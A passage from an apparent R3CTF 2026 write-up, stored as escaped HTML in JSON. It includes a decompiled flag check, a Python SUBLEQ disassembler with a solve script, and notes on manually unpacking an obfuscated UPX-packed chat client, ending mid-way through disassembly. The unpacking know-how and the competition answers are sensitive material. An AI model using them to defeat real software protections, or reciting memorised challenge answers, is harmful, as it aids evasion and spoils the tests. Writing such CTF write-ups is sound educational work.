class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003es\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;R3CTF{\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003estrlen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;R3CTF{\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Input flag: \u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"nf\"\u003efflush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estdout\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"nf\"\u003efgets\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x200\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003estdin\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es1\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nf\"\u003estrcspn\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"se\"\u003e\\r\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ev8\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nf\"\u003estrlen\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"n\"\u003ev8\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e33\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nf\"\u003estrncmp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003es1\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003ev8\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7D\u003c/span\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"n\"\u003ev4\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_QWORD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003es1\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"n\"\u003ev6\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_QWORD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003es1\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"n\"\u003ev6\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ev4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"n\"\u003ev5\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_QWORD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003es1\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e24\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"n\"\u003ev6\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e_QWORD\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003es1\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003en\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"mi\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"n\"\u003ev6\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ev5\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nf\"\u003esub_214326\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ev6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"nf\"\u003eputs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Fail...\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003eelse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eputs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Fail...\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eThe function checks the \u0026ldquo;R3CTF{\u0026hellip;}\u0026rdquo; flag format, extracts the 32-byte body inside the curly braces, and passes it into \u003ccode\u003esub_214326\u003c/code\u003e\u003c/p\u003e","title":"R3CTF 2026"},{"content":"Subleq Scramble (77 solves) This was an interesting challenge although it was not that hard, we could still learn something from analyzing this challenge\nThe downloaded file is a raw binary file with no recognizable format. From the challenge\u0026rsquo;s description, we know that this is a dump of memory state of a SUBLEQ emulator after encrypting an image\nJust in case you don\u0026rsquo;t know what a \u0026ldquo;subleq emulator\u0026rdquo; is. Basically SUBLEQ means \u0026ldquo;Subtract and Branch if Less than or Equal to Zero\u0026rdquo;. SUBLEQ is considered a finite-state machine because of the boundary in memory range (for example 8-bit, 16-bit, 32-bit, \u0026hellip;) But abstractly, it could be witnessed as a turing-complete machine\nHeading back to the challenge, since the author only gives us the final memory state of the emulator, where data is modified throughout execution, it could be harder to analyze the challenge if the binary does some operation that we could not manually reverse. For example, program could modify its own operands or branch targets. But let\u0026rsquo;s hope they didn\u0026rsquo;t deliberately do this\nFirst of all we need to determine what word size this SUBLEQ implementation uses, we can make an initial guess by looking at several piece of evidence. First of all, it could not be 8-bit, well subjectively speaking, 256 memory cells are too tight to write any program not to mention this is an image-encryption program. A 32-bit or larger word-size program is not good at all because by interpreting the binary, some instructions access indices that exceed the bounded memory range so this implementation is not plausible as well. So 16-bit fits all these conditions. Although this was just a heuristic guess, just trust me here Proof by AC\nLet\u0026rsquo;s write a disassembler real quick\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #!/usr/bin/env python3 import struct with open(\u0026#39;data.subleq\u0026#39;, \u0026#39;rb\u0026#39;) as f: bin = f.read() data = list(struct.unpack(\u0026#39;\u0026lt;\u0026#39; + \u0026#39;h\u0026#39; * (len(bin) // 2), bin)) symbol = { 252: \u0026#34;reg1\u0026#34;, 253: \u0026#34;reg2\u0026#34;, 261: \u0026#34;width\u0026#34;, 262: \u0026#34;height\u0026#34;, 1: \u0026#34;1\u0026#34;, 2: \u0026#34;-1\u0026#34;, 0: \u0026#34;reg0\u0026#34;, 258: \u0026#34;w\u0026#34;, 90: \u0026#34;reg3\u0026#34;, 136: \u0026#34;reg4\u0026#34;, 97: \u0026#34;reg5\u0026#34;, 254: \u0026#34;-2\u0026#34;, 263: \u0026#34;start_image_blob\u0026#34;, 195: \u0026#34;-65\u0026#34;, 259: \u0026#34;h\u0026#34;, 260: \u0026#34;loop_lim_9999\u0026#34; } def get_symbol(x): if x in symbol: return symbol[x] return f\u0026#34;data[{x}]\u0026#34; pc = 0 while pc \u0026lt; 264: first = data[pc] second = data[pc + 1] third = data[pc + 2] diff = data[second] asm = f\u0026#34;\u0026#34;\u0026#34;{get_symbol(second \u0026amp; 0xffff)} -= {get_symbol(first \u0026amp; 0xffff)}\u0026#34;\u0026#34;\u0026#34; for reg in range(100): if f\u0026#34;reg{reg} -= reg{reg}\u0026#34; in asm: asm = f\u0026#34;Reset reg{reg}\u0026#34; data[second] = 0 print(f\u0026#34;{pc:#x} {asm} if \u0026lt;= 0 taken {third \u0026amp; 0xffff:#x}\\n\u0026#34;) pc += 3 The symbols are what I retrieved from reversing the log and understanding the binary\u0026rsquo;s context. The log is here\nLet\u0026rsquo;s inspect the log slowly to reconstruct the logic\n1 2 0x3 loop_lim_9999 -= data[257] if \u0026lt;= 0 taken 0x6 0xa2 loop_lim_9999 -= 1 if \u0026lt;= 0 taken 0xb7 This part initializes loop counter limitation, which is up to 9999, because data[257] is fixed at -9999 (you can examine from the binary)\nAlright we figured out the looping block, all instructions located from 0x3 to 0xa2 are the main encrypting logic. There are some operations with a pattern like data[xx] -= data[xx] so I named it Reset data[xx]\n1 2 3 4 5 6 7 8 9 0x6 Reset reg1 if \u0026lt;= 0 taken 0x9 0x9 Reset reg2 if \u0026lt;= 0 taken 0xc 0xc reg1 -= width if \u0026lt;= 0 taken 0xf 0xf reg2 -= reg1 if \u0026lt;= 0 taken 0x12 0x12 Reset reg1 if \u0026lt;= 0 taken 0x15 0x15 reg1 -= h if \u0026lt;= 0 taken 0x18 0x18 reg2 -= 1 if \u0026lt;= 0 taken 0x1e 0x1b Reset reg0 if \u0026lt;= 0 taken 0x15 0x1e reg1 -= w if \u0026lt;= 0 taken 0x21 I named width because I saw that its value (which is 84) is a constant. Well basically eventhough, it could be the width or the height, the distinction does not affect the analysis, Incidentally, there is a height variable equal to 38. So the image is 84x38 Look closely, there is a repeating block from 0x15 -\u0026gt; 0x1b which computes the value -h * width - w\nThe encrypted image blob starts at index 264 so I named a memory cell with the fixed value 264 as start_image_blob\n1 2 3 4 5 6 7 0x21 reg1 -= start_image_blob if \u0026lt;= 0 taken 0x24 0x24 Reset reg3 if \u0026lt;= 0 taken 0x27 0x27 reg3 -= reg1 if \u0026lt;= 0 taken 0x2a 0x2a Reset reg4 if \u0026lt;= 0 taken 0x2d 0x2d reg4 -= reg1 if \u0026lt;= 0 taken 0x30 0x30 Reset reg5 if \u0026lt;= 0 taken 0x33 0x33 reg5 -= reg1 if \u0026lt;= 0 taken 0x36 This part is pretty tricky and it sent me down the wrong direction, we can recognize that reg1 stores -h * width - w - start_image_blob reg3 = reg4 = reg5 = -reg1 = start_image_blob + h * width + w means reg3, reg4, and reg5 contain the memory address of the image cell at coordinates (w, h) rather than the pixel value\nAt first glance, I thought they were just temporary variables used to prepare something related to encryption but I was wrong. Look again at the log, the positions of those variables were 90, 136 and 97 respectively, which are located directly in the code region of the program, so this means the program is modifying operands related to index in later SUBLEQ instructions to point to the memory address of the image cell to process that cell during later encryption\nNote Just in case this is confusing, SUBLEQ is designed to operate on memory cells. Each cell, specified by an address, occupies exactly 16 bits in this challenge (or could differ in other challenges, depends on the architecture). The instructions and data share the same memory, and a memory cell can be accessed through an index in each instruction\nThere is a pattern for checking the boundaries of w and h\n1 2 3 4 5 6 7 8 9 10 11 12 0x36 Reset reg1 if \u0026lt;= 0 taken 0x39 0x39 reg1 -= w if \u0026lt;= 0 taken 0x3f 0x3c Reset reg0 if \u0026lt;= 0 taken 0xa8 0x3f reg2 -= width if \u0026lt;= 0 taken 0x42 0x42 reg1 -= reg2 if \u0026lt;= 0 taken 0xa8 0x45 Reset reg1 if \u0026lt;= 0 taken 0x48 0x48 Reset reg2 if \u0026lt;= 0 taken 0x4b 0x4b reg1 -= h if \u0026lt;= 0 taken 0x51 0x4e Reset reg0 if \u0026lt;= 0 taken 0xa8 0x51 reg2 -= height if \u0026lt;= 0 taken 0x54 0x54 reg1 -= reg2 if \u0026lt;= 0 taken 0xa8 At 0x39 and 0x42, the log illustrates that, to continue the encryption loop, the condition must be w \u0026gt;= 0 and w \u0026lt;= width. h also needs a similar condition.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 0x57 Reset reg2 if \u0026lt;= 0 taken 0x5a 0x5a reg2 -= reg0 if \u0026lt;= 0 taken 0x5d 0x5d reg2 -= -1 if \u0026lt;= 0 taken 0x87 0x60 reg0 -= -2 if \u0026lt;= 0 taken 0x63 0x63 Reset reg2 if \u0026lt;= 0 taken 0x66 0x66 Reset reg1 if \u0026lt;= 0 taken 0x69 0x69 reg1 -= data[255] if \u0026lt;= 0 taken 0x6c 0x6c reg2 -= reg1 if \u0026lt;= 0 taken 0x6f 0x6f data[255] -= data[255] if \u0026lt;= 0 taken 0x72 0x72 data[255] -= reg2 if \u0026lt;= 0 taken 0x75 0x75 Reset reg2 if \u0026lt;= 0 taken 0x78 0x78 Reset reg1 if \u0026lt;= 0 taken 0x7b 0x7b reg1 -= data[256] if \u0026lt;= 0 taken 0x7e 0x7e reg2 -= reg1 if \u0026lt;= 0 taken 0x81 0x81 data[256] -= data[256] if \u0026lt;= 0 taken 0x84 0x84 data[256] -= reg2 if \u0026lt;= 0 taken 0x87 0x87 reg0 -= 1 if \u0026lt;= 0 taken 0x8a 0x8a Reset reg1 if \u0026lt;= 0 taken 0x8d 0x8d reg1 -= data[256] if \u0026lt;= 0 taken 0x90 0x90 data[256] -= data[256] if \u0026lt;= 0 taken 0x93 0x93 data[256] -= data[255] if \u0026lt;= 0 taken 0x96 0x96 data[255] -= data[255] if \u0026lt;= 0 taken 0x99 0x99 data[255] -= reg1 if \u0026lt;= 0 taken 0x9c 0x9c w -= data[255] if \u0026lt;= 0 taken 0x9f 0x9f h -= data[256] if \u0026lt;= 0 taken 0xa2 I have separated this main encryption blob into 4 different blocks. As a reminder, reg0 at 0x60, 0x80, and 0x5a has been replaced by the index of the current pixel. Returning to the logic of this log is equivalent to the following C-like pseudocode\n1 2 3 4 5 6 7 8 9 int pixel = current_image_pixel if (pixel == 0) { pixel = 1 dx, dy = -dy, dx } else { pixel = 0 dx, dy = dy, -dx } As you can see, data[255] and data[256] are dx and dy respectively. In conclusion, the encryption is relatively simple, it performs a bit-flipping operation and moves to the next cell depending on the current pixel value. This process is repeated 9999 times. In my opinion, The log would not be that hard to analyze because the terminology is pretty clear. The remaining lines of the log are actually weird. However I believed that those things were merely junk data or decoys, so I ignored them.\nSo our mission here is pretty intuitive, extracting the encrypted image from index 264 to the end of the binary file, and then reversing the operation exactly 9999 times.\nOne more thing I need to mention is that each pixel represents a color of one point in the image, either black/white or red/blue. The contrast between two color creates visible text on the image that we could see (at first, I thought it was a bitstream of the image)\nSolve script\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #!/usr/bin/env python3 import struct with open(\u0026#34;data.subleq\u0026#34;, \u0026#39;rb\u0026#39;) as f: bin = f.read() start = 264 encrypted_image = list(struct.unpack(\u0026#39;\u0026lt;\u0026#39; + \u0026#39;h\u0026#39; * 84 * 38, bin[start * 2:]))[:84 * 38] print(encrypted_image) data = list(struct.unpack(\u0026#39;\u0026lt;\u0026#39; + \u0026#39;h\u0026#39; * (len(bin) // 2), bin)) width = 84 height = 38 def decrypt(data, w, h, dx, dy): iteration = 9999 for i in range(iteration): w += dx h += dy pixel = h * width + w try: if data[pixel] == 0: data[pixel] = 1 dx, dy = -dy, dx else: data[pixel] = 0 dx, dy = dy, -dx except: print(pixel, w, h) exit(0) return data res = decrypt(bytearray(encrypted_image), data[258], data[259], data[255], data[256]) from PIL import Image img = Image.new(\u0026#39;L\u0026#39;, (width, height), color=255) for i in range(38): for j in range(84): if res[i * width + j]: img.putpixel((j, i), 0) img.save(\u0026#39;output.png\u0026#39;) Yet Another Chat (37 solves) Before getting into my solution, I think there might be other clever directions because my approach seems to be tough\nDescription The challenge gives us three files which are server.exe, client.exe and challenge.pcap. My experience tells me that this challenge will be about the interaction between server.exe and client.exe, whereas the challenge.pcap is the captured packet during the communication process\nLet\u0026rsquo;s triage these binaries first, I will use Detect It Easy These binaries are packed using UPX, however the UPX decompressor was unable to unpack the binary. So I think it is highly modified and hijacked, so we have to manually unpack it. The packed binary often execute its shellcode to reconstruct the original binary, then run it. In order to unpack, we have to find OEP (Original Entry Point), the actual entry point of our binary, not the shellcode one.\nThere are several ways to find this value, we could place a breakpoint on the section that packer stores unpacked executable to detect whether it is executing or finding the last jump instruction in the shellcode\nWhatever method you use, the ultimate goal is to find the OEP. Unfortunately, the binary is heavily obfuscated, so we could not analyze the binary statically. I can\u0026rsquo;t determine whether deobfuscating this binary is feasible\nIt is trying to compute the bytecode at runtime and patch the next instruction directly using the xchg instruction Then after executing the decoded instruction, it returns to the unreadable opcode Although the pattern is clear, there is a high risk in encountering unexpected behaviour. So I decided to debug the challenge dynamically (the cost that I have to pay is 10 hours of suffering)\nBefore edging through a thousand assembly lines, I decided to monitor how many API calls were made throughout execution. By using API Monitor, we were able to collect a lot of useful information, we can monitor all the APIs related to Networking, Visual C++ Runtime Library, and Security and Identity (select these options in API Monitor)\nFirst of all we can see that the server.exe is initializing some basic networking setup. For example, setsockopt for configuring TCP socket or inet_addr and bind for establishing a loopback network connection, then start listening to the incoming packets.\nWhen I first ran the client.exe, some really interesting API calls appeared. They were CryptAcquireContextA, CryptGenRandom, and CryptReleaseContext. One of the arguments passed through CryptAcquireContextA is PROV_RSA_FULL, so I thought the intended encryption algorithm was RSA but unfortunately I could not even detect any other APIs that were used to encrypt a message with RSA.\nRight after that, the server sends three different payloads. Under my observation, the first one is a number, the second one is an array with 16 random bytes generated from CryptGenRandom, and the final one is an encrypted hexstream. The first value is the total length of the last two payloads. Let\u0026rsquo;s call this a request, so the structure of one request is\n1 2 3 4 struct Request { int len; uint8_t random_16[16], payload[....]; }; To retrieve packets from the server, client must use recv to receive packets. So I just need to place a breakpoint at client\u0026rsquo;s recv API, then continue to execute the program\nJust a few instructions later, we will fall into this blob\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 00401C55 | 0F84 0D010000 | je client.401D68 | 00401C5B | 53 | push ebx | 00401C5C | 56 | push esi | 00401C5D | 0F1F00 | nop dword ptr ds:[eax],eax | 00401C60 | 0FB61C2F | movzx ebx,byte ptr ds:[edi+ebp] | 00401C64 | 0FB6442F 01 | movzx eax,byte ptr ds:[edi+ebp+1] | 00401C69 | 0FB64C2F 02 | movzx ecx,byte ptr ds:[edi+ebp+2] | 00401C6E | 0FB6542F 03 | movzx edx,byte ptr ds:[edi+ebp+3] | 00401C73 | 0FB6742F 07 | movzx esi,byte ptr ds:[edi+ebp+7] | 00401C78 | C1E3 08 | shl ebx,8 | 00401C7B | 0BD8 | or ebx,eax | 00401C7D | C74424 18 7520DAEB | mov dword ptr ss:[esp+18],EBDA2075 | 00401C85 | 0FB6442F 04 | movzx eax,byte ptr ds:[edi+ebp+4] | 00401C8A | C1E3 08 | shl ebx,8 | 00401C8D | 0BD9 | or ebx,ecx | 00401C8F | C1E0 08 | shl eax,8 | 00401C92 | 0FB64C2F 05 | movzx ecx,byte ptr ds:[edi+ebp+5] | 00401C97 | 0BC1 | or eax,ecx | 00401C99 | C1E3 08 | shl ebx,8 | 00401C9C | 0BDA | or ebx,edx | 00401C9E | C1E0 08 | shl eax,8 | 00401CA1 | 0FB6542F 06 | movzx edx,byte ptr ds:[edi+ebp+6] | 00401CA6 | BF 20000000 | mov edi,20 | 20:\u0026#39; \u0026#39; 00401CAB | 0BC2 | or eax,edx | 00401CAD | C74424 1C 10E370DE | mov dword ptr ss:[esp+1C],DE70E310 | 00401CB5 | C1E0 08 | shl eax,8 